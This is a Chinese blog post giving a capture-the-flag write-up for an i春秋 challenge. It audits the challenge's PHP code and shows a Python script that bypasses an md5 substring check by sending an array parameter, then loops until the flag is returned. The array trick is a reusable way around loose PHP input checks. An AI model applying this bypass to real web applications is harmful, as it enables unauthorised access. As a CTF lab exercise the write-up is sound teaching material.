爱春秋-爆破-3

作者: 追求科技的足球 | 来源:发表于2020-03-13 21:45 被阅读0次

    实际上是给了一个php代码,进行代码审计:

    <?php 
    error_reporting(0);
    session_start();
    require('./flag.php');
    if(!isset($_SESSION['nums'])){
      $_SESSION['nums'] = 0;
      $_SESSION['time'] = time();
      $_SESSION['whoami'] = 'ea';
    }
    
    if($_SESSION['time']+120<time()){
      session_destroy();
    }
    
    $value = $_REQUEST['value'];
    $str_rand = range('a', 'z');
    $str_rands = $str_rand[mt_rand(0,25)].$str_rand[mt_rand(0,25)];
    
    if($_SESSION['whoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0){
      $_SESSION['nums']++;
      $_SESSION['whoami'] = $str_rands;
      echo $str_rands;
    }
    
    if($_SESSION['nums']>=10){
      echo $flag;
    }
    
    show_source(__FILE__);
    ?>
    

    来看一下函数作用:
    error_reporting(0); ——关闭错误报告
    session_start()——初始化session
    isset() ——检测变量是否设置。
    session_destroy ——销毁一个会话中的全部数据
    range() ——创建一个包含指定范围的元素的数组。
    mt_rand(min,max) ——使用 Mersenne Twister 算法返回min和max之间的随机整数。
    .(点号)——连接字符串
    substr(string,start,length)——返回字符串的一部分

    那么得到代码的得到flag的方式:num++直到大于10,也就是session['whoami']==ea==value[0]+value[1]且md5加密后的value[5]-value[9]是0,同时,在循环后,session['whoami']会变成当前的str_rands

    这样的话value必须有e和a,同时利用md5函数不能对数组进行处理的漏洞来绕过substr检验。

    因此第一次上传的数据为?value[]=ea,此后上传的数据为?value[]=上次输出的两个字符。

    又因为间隔小于120时间戳,因此使用python。

    import requests as re
    
    url='http://0b5611056b4148bfbe1c09d92e217b9e7e90e42a2d9249d8.changame.ichunqiu.com/'
    session = re.session() //保持session
    each = session.get(url+"?value[]=ea")
    print(each.text)
    for i in range(20):
        each = session.get(url+"?value[]="+each.text[0:2])
        print(each.text)
    

    相关文章

      网友评论

        本文标题:爱春秋-爆破-3

        本文链接:https://www.haomeiwen.com/subject/vlntqhtx.html